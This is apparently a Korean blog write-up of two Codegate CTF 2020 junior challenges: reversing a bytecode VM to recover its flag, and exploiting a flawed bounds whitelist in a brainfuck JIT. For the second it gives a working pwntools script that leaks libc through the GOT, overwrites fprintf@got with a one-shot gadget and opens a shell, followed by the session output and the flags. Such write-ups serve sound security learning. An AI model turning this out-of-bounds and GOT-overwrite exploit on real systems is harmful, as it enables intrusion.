Codegate CTF 2020 Preliminary 후기

Posted on Aug 14, 2020

끝난지 좀 됐지만 이번 코드게이트 CTF 2020 주니어부에 참가하여 예선 3등을 했다.

점수는 4등까지 같은데 시간 차이로 순위가 갈렸다. ㄷ;

암튼 코로나 때문에 전국이 난리 전세계가 난리라 다들 바쁘다.

그래서 인지 이번 코드게이트 주최측에서 라업 제출 공지가 끝내 안 와서 블로그에 적어본다.

  • Enigma
  • LOL

위 두 문제는 주니어부 풀라고 거저 주는 문제였기에 생략

  • Simple Machine
  • babyllvm

위 두 문제 적어본다.

Simple Machine

Description :
(fixed-point challenge)

Classic Check Flag Challenge Machine

DOWNLOAD :
http://ctf.codegate.org/099ef54feeff0c4e7c2e4c7dfd7deb6e/116ea16dbeabe08d1fe8891a27d0f16b

tree

.
├── simple_machine
└── target

simple_machine 바이너리는 C++로 짜여진 ELF인데, argv[1]을 path로 파일을 열어 bytecode를 읽어와 동작하는 간단한 VM이다.

result = *(context + 0x30);
switch ( result )
{
  case 0:
    *(context + 0x3E) = *(context + 0x34);
    goto LABEL_3;
  case 1:
    *(context + 0x3E) = *(context + 0x34) + *(context + 0x36);
    goto LABEL_3;
  case 2:
    *(context + 0x3E) = *(context + 0x36) * *(context + 0x34);
    goto LABEL_3;
  case 3:
    *(context + 0x3E) = *(context + 0x36) ^ *(context + 0x34);
    goto LABEL_3;
  case 4:
    *(context + 0x3E) = *(context + 0x34) < *(context + 0x36);
    goto LABEL_3;
  case 5:                                
    if ( !*(context + 0x34) )
      goto LABEL_3;
    result = *(context + 0x36);
    *(context + 0x2E) = 0;
    *(context + 0x38) = 0;
    *(context + 0x40) = 0;
    *(context + 0x22) = result;
    return result;
  case 6:
    *(context + 0x3E) = SYS_READ(context, *(context + 0x34), *(context + 0x36));
    goto LABEL_3;
  case 7:
    *(context + 0x3E) = write(1, (*context + *(context + 0x34)), *(context + 0x36));
    goto LABEL_3;

필요없는 부분은 적당히 넘기고 윗 부분을 보면 context+0x30 위치의 바이트에 따라 동작이 결정되는데, assign, add, mul, xor, cmp, read, write 등의 간단한 루틴들이 구현되어있다.

인자는 context+34와 context+36 위치의 short형 데이터를 사용한다.

gdb에서 저 switch 문에 breakpoint를 걸고, bp에 걸릴 때 마다 context의 메모리를 관측하면 target의 전체적인 동작을 쉽게 알아낼 수 있는데 내용은 대충 아래와 같다.

  • 맨 처음 data heap+0x4000에 플래그를 입력받고, 연산을 통해 플래그를 검증한 뒤 정답이면 GOOD 을 출력
  • 플래그 헤더인 CODEGATE2020 까지는 단순한 덧셈 연산으로 검증
  • 그 뒤로는 입력을 2바이트 씩 끊어 xor + add 으로 비교

이걸 손 노가다 할 수도 있고 gdb script를 짤 수도 있는데, 얼마 안걸리겠다 싶어 노가다해서 금방 뽑았다.

코드로는 대략 아래 정도가 되겠다.

xorkey = [0x63f7, 0xa419, 0xec2b, 0x347d, 0x5c87, 0xe589, 0x2e9b, 0x73ad, 0x94f7, 0xbd19, 0xc72b, 0x497d]
addkey = [0xf974, 0x2b9d, 0x4caf, 0xbee1, 0xfc0d, 0x6e48, 0xe03c, 0xd322, 0x1979, 0x36d6, 0x40e8, 0xcbf7]
flag = 'CODEGATE2020'
for i in range(len(xorkey)):
  a = 0x10000 - addkey[i]
  a ^= xorkey[i]
  flag += hex(a)[2:].decode('hex')[::-1]
print flag
# CODEGATE2020{ezpz_but_1t_1s_pr3t3xt}

babyllvm

Description :
Everything is JITted these days...
Challenge running on Ubuntu 18.04

Download :
http://ctf.codegate.org/099ef54feeff0c4e7c2e4c7dfd7deb6e/969356c88319449f899f659259044713

Server :
nc 58.229.240.181 7777

tree

.
├── Dockerfile
└── binary_flag
    ├── flag
    ├── main.py
    └── runtime.so

main.py는 llvm 모듈을 이용해 brainfuck 코드를 입력받고 이를 JIT 컴파일해 실행시켜주는 파이썬 스크립트다.

runtime.so를 로드해 brainfuck의 포인터 이동 및 입/출력을 구현하는데, 포인터는 runtime.so의 BSS 영역에 위치함.

여기까지가 문제의 전체적인 구조고, 핵심은 main.py의 brainfuck 구현 및 security check 분석!

분석을 슥슥해주면 아래 내용이 나온다.

main.py는 입력된 코드에 따라 > < 으로 포인터를 옮겨주면서 0을 기준으로 하여 현재 위치를 rel_pos 변수에 저장하고, + - . , 로 포인터가 가르키는 값에 접근하려 할때 runtime.so의 ptrBoundCheck 함수를 실행해 Out-of-Bound를 검사.

unsigned __int64 __fastcall ptrBoundCheck(unsigned __int64 a1, unsigned __int64 a2, unsigned __int64 a3)
{
  unsigned __int64 result; // rax
  if ( a3 < a1 || (result = a3, a3 > a2) )
  {
    fprintf(stderr, "assert (0x%lx < 0x%lx < 0x%lx)!!\n", a1, a3, a2);
    exit(-1);
  }
  return result;
}

만약 Out-of-Bound가 아니라는 결과를 얻으면 현재 rel_pos를 whitelist에 저장하며, 추후 rel_pos가 기록된 whitelist 범위 내에 있다면 Out-of-Bound 검사를 생략한다.

결론 : main.py의 취약점을 이용해 Out of Bound를 트리거할 수 있다.

bfProgram 객체는 코드에 가 포함되었는지(isLinear)에 따라 코드를 다르게 처리하는데, 만약 존재한다면 [ 를 기준으로 코드를 나눠 제각각 객체를 생성하고 Linear한 코드가 될 때까지 이를 반복한다.

이 과정에서 객체가 생성되고 codegen 메소드로 JIT 컴파일을 할 때 아래와 같은 코드가 실행된다.

def codegen(self, module, whitelist=None):
  main_routine = findFunctionByName(module, "main_routine")
  if (self.isLinear == True): # [, ]가 없으면
    block = main_routine.append_basic_block()
    builder = llvmIR.IRBuilder()
    builder.position_at_end(block)
    dptr_ptr = findGlobvarByName(module, "data_ptr") # 현재 포인터
    sptr_ptr = findGlobvarByName(module, "start_ptr")
    ptrBoundCheck = findFunctionByName(module, "ptrBoundCheck")
    print_char = findFunctionByName(module, "print_char")
    read_char = findFunctionByName(module, "read_char")
    rel_pos = 0
    if whitelist == None:
      whitelist_cpy = None
    else:
      whitelist_cpy = whitelist[::]

rel_pos = 0으로 rel_pos의 값을 바로 0으로 assign 시켜버리는데,

만약 계속해서 새로운 객체를 생성하며 포인터를 움직인다면, 포인터는 이미 Out-of-Bound 상태이지만 rel_pos는 여전히 0으로 초기화되어 whitelist 범위 내인 상황을 만들 수 있다.

이를 이용하면 Out-of-Bound 취약점을 트리거하여 포인터가 처음 존재하는 BSS에서 거슬러 올라가 GOT에 적힌 runtime.so의 주소를 릭할 수 있고, 다음 턴에 fprintf@got 를 원샷 가젯으로 덮어 쉘을 얻을 수 있다.

취약점만 찾으면 익스는 되게 쉽다.

from pwn import *
p = remote('58.229.240.181', 7777)
# leak libc
p.sendlineafter('>>>', '+>>>>>>+[-<<<<]+[-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>[.>]')
p.recv()
libc = u64(p.recvuntil('\x7f').ljust(8, '\x00')) + 0x697481a
magic = libc + 0x10a38c
print 'libc : ' + hex(libc)
# overwrite fprintf@got
p.sendlineafter('>>>', '+>>>>>>+[-<<<<]+[-<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>[,>]')
p.send(p64(magic))
p.sendlineafter('>>>', '<.')
p.interactive()
root@cb167ff8f263:/home/ctf/llvm# python exp.py
[+] Opening connection to 58.229.240.181 on port 7777: Done
0x7f464412c000
[*] Switching to interactive mode
$ id
uid=1000(babyllvm) gid=1000(babyllvm) groups=1000(babyllvm)
$ cat flag
CODEGATE2020{next_time_i_should_make_a_backend_for_bf_as_well}